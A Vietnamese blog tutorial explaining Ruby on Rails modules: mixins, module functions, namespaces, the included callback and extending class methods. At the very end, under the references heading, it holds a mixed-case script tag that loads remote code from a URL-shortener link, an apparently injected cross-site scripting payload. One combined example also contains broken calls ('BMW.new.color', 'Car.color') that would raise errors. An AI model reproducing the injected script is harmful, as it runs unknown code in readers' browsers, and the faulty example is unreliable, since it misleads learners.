Tạo Và Sử Dụng Module Trong Ruby on Rails
Bài đăng này đã không được cập nhật trong 3 năm
I. Tìm hiểu chung
-
Chào các bạn, như bài viết trước mình cũng có 1 bài viết giới thiệu về
Ruby on Rails
, bài biết hôm nay mình lại tiếp tục với chủ đề với tạo và sử dụngModule
như thế nào trongRuby on Rails
. -
Trong
Ruby on Rails
với tính linh hoạt củamodule
nên nó được sử dụng khá nhiều trong các dự án. -
Vậy
Module
là gì, tạo như thế nào và sử dụng ra sao, sau bài viết này các bạn có thể dễ dàng hình dung ra được. -
Trong Ruby, có 2 cách sử dụng method của module. Cách thứ nhất là 'nhúng' (mixin) và dùng như instance method và cách thứ hai là dùng theo kiểu module function.
Cách thứ nhất: Mixin và dùng như instance methods
module BMW
def color
puts "Black"
end
end
class Car
include BMW
end
Car.new.color # => Black
Cách thứ hai: module functions
module BMW
def self.color
puts "Black"
end
end
BMW.color # => Black
Ngoài ra bạn có thể kết hợp 2 cách trên, như ví dụ bên dưới.
module BMW
def color
puts "Black"
end
module_function :color
end
class Car
include BMW
end
BMW.new.color # => Black
Car.color # => Black
- Như các ví dụ tôi đưa ra ở trên các bạn đã dần hiểu đc cách tạo và sử dụng
Module
trongRuby on Rails
như thế nào rồi đúng khong nào. (go) Bây giờ chúng ta sẽ tìm hiể kỹ hơn ở phần dưới nhé.
II. Module
- Một trong những công cụ mạnh nhất của
Ruby on Rails
làModule
, nó được sử dụng như mộtnamespace
củaclass
trongRuby
. Ví dụ chúng ta tạo mộtModule
đơn giản sau:
module Sample
class Hello
puts "Hello World."
end
end
- Ở ví dụ trên, chúng ta tạo ra
class Hello
được nằm trongModule Sample
, điều đó có nghĩa là khi chúng ta tạo ra mộtinstance
của Hello thay vì:
h = Hello.new
- Hoặc bạn có thể gọi bằng cách thếm tiền tố
namespace
và dấu hai chấm:
h = Sample::Hello.new
1. Module và included callback
- Ruby cung cấp một hàm
callback
có tênincluded
chomodule
. Hàmcallback
này sẽ được gọi mỗi khimodule
đượcincluded
vào mộtmodule
hoặcclass
khác. Cách dùngincluded
rất đơn giản, bạn có thể xem ví dụ mình viết như sau:
# car.rb
module BMW
def BMW.included(mod)
puts "#{self} included in #{mod}"
end
end
module Car
include BMW
end
- Khi chạy file car.rb trên sẽ được kết quả như sau:
$ ruby car.rb
BMW included in Car
included
có thể được dùng để tách các phần logic giống nhau vào mộtmodule
dùng chung. Chẳng hạn trong ví dụ sau ta có 2 classEntry
vàComment
, cả 2 class đều định nghĩa các hàm nhưposted_at
và cùng gọi cáchelper
nhưvalidates_presence_of
class Entry
validates_presence_of :user_id
def posted_at
created_at.strftime("%Y/%m/%d") # formated post time
end
end
class Comment
validates_presence_of :user_id
def posted_at
created_at.strftime("%Y/%m/%d") # formated post time
end
end
- Dùng
included
ta dễ dàng move các logic này vào mộtmodule
riêng, cụ thể như sau:
module Post
def self.included(base)
base.class_eval do
validates_presence_of :user_id
end
end
def posted_at
created_at.strftime("%Y/%m/%d")
end
end
class Entry
include Post
end
class Comment
include Post
end
2. Class methods
- Khi một
module
đượcinclude
vào mộtclass
, mặc địnhclass
đó sẽaccess
được cácinstance method
được định nghĩa trongmodule
đó nhưng lại không gọi được cácclass method
. Chẳng hạn như hàmfind_by_user_id trong
ví dụ sau:
module Post
def posted_at
created_at.strftime("%Y/%m/%d")
end
def self.find_by_user_id
# ...
end
end
class Entry
include Post
end
class Comment
include Post
end
- Chúng ta sẽ xét các trường hợp gọi hàm
find_by_user_id
# Result Ok
Entry.new.posted_at -> Ok
Comment.new.posted_at -> Ok
# Result Eror
Entry.find_by_user_id(1) -> NoMethodError
Comment.find_by_user_id(2) -> NoMethodError
Môt
instance method
được định nghĩa trongmodule
nhưng lại không gọi được cácclass method
- Để giải quyết vấn đề này chúng ta sử dụng
callback included
module Post
def self.included(base)
base.extend(ClassMethods)
end
module ClassMethods
def find_by_user_id
...
end
end
end
-
Ở trên ta dùng
function base
củaclass/module
đểextend
cácclass method
. Sử dụng cách này, cácclass/module include Post
sẽaccess
được hàmfind_by_user_id
đã được định nghĩa. -
Như vậy kết quả của chúng ta sẽ là như sau:
# Result Ok
Entry.new.posted_at -> Ok
Comment.new.posted_at -> Ok
# Result Ok
Entry.find_by_user_id(1) -> Ok
Comment.find_by_user_id(2) -> Ok
III. Kết luận
- Trong các dự án của chúng ta, việc viết code đúng và đẹp làm một vấn đề hết sức quan trọng. Chính vì vậy hiểu dõ cách hoạt động của
module
sẽ giúp ích cho ta rất nhiều về vấn đề đó. - Ở bài viết này mình đã giới thiệu hai cách sử dụng của
module
trongRuby on Rails
, rất mong nhận được sự đóng góp và ý kiến của các bạn để bài viết có thể đầy đủ hơn. Thanks All!
Tài liệu tham khảo
<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>
All rights reserved